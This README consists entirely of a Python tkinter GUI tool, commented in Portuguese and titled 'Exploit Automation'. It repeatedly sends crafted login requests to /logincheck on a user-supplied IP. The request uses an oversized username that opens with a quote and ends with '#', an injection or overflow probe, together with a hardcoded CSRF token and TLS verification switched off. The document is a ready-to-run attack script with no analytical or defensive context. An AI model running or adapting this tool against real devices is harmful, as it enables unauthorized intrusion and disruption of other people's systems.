README.md
Rendering markdown...
import requests
import tkinter as tk
from tkinter import messagebox
import threading
import time
import re
# Função para verificar se o IP tem formato válido
def is_valid_ip(ip):
# Expressão regular simples para validar o formato do IP
pattern = r"^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$"
return re.match(pattern, ip) is not None
# Função para enviar a requisição com o payload
def exploit(target_ip, payload_size):
target = f"https://{target_ip}/logincheck"
# Cria o payload com o tamanho especificado pelo usuário
payload = {
"csrfmiddlewaretoken": "6122679a72bea77cc07a16bc5ebbbe57",
"username": "'" + "A" * payload_size + "#", # Username com tamanho definido pelo usuário
"password": "B" * payload_size, # Password com tamanho definido pelo usuário
"next": "",
"login_button": "Login"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
"Referer": target,
"Content-Type": "application/x-www-form-urlencoded"
}
while running:
try:
response = requests.post(target, data=payload, headers=headers, verify=False) # Sem proxies
print(f"Status Code: {response.status_code}")
print(response.text)
# Adiciona um delay para evitar requisições excessivas
time.sleep(2)
except Exception as e:
print(f"Erro ao enviar requisição: {e}")
break
# Função para iniciar o exploit
def start_exploit():
global running
target_ip = ip_entry.get()
try:
payload_size = int(payload_size_entry.get()) # Obtém o tamanho do payload inserido pelo usuário
if payload_size <= 0:
raise ValueError("O tamanho do payload deve ser maior que 0.")
except ValueError as ve:
messagebox.showerror("Erro", f"Erro no tamanho do payload: {ve}")
return
if not target_ip or not is_valid_ip(target_ip):
messagebox.showerror("Erro", "Por favor, insira um IP válido.")
return
running = True
# Cria uma thread para rodar a função de exploit em paralelo à interface
exploit_thread = threading.Thread(target=exploit, args=(target_ip, payload_size))
exploit_thread.start()
start_button.config(state=tk.DISABLED)
stop_button.config(state=tk.NORMAL)
# Função para parar o exploit
def stop_exploit():
global running
running = False
start_button.config(state=tk.NORMAL)
stop_button.config(state=tk.DISABLED)
# Configuração da interface gráfica
root = tk.Tk()
root.title("Exploit Automation")
# Campo para o usuário digitar o IP
ip_label = tk.Label(root, text="Digite o IP alvo:")
ip_label.pack(pady=5)
ip_entry = tk.Entry(root)
ip_entry.pack(pady=5)
# Campo para o usuário digitar o tamanho do payload
payload_size_label = tk.Label(root, text="Tamanho do Payload (em caracteres):")
payload_size_label.pack(pady=5)
payload_size_entry = tk.Entry(root)
payload_size_entry.pack(pady=5)
# Botão de iniciar e parar o exploit
start_button = tk.Button(root, text="Iniciar Exploit", command=start_exploit)
start_button.pack(pady=5)
stop_button = tk.Button(root, text="Parar Exploit", command=stop_exploit, state=tk.DISABLED)
stop_button.pack(pady=5)
# Variável global para controlar se o exploit deve continuar rodando
running = False
# Inicia a interface gráfica
root.mainloop()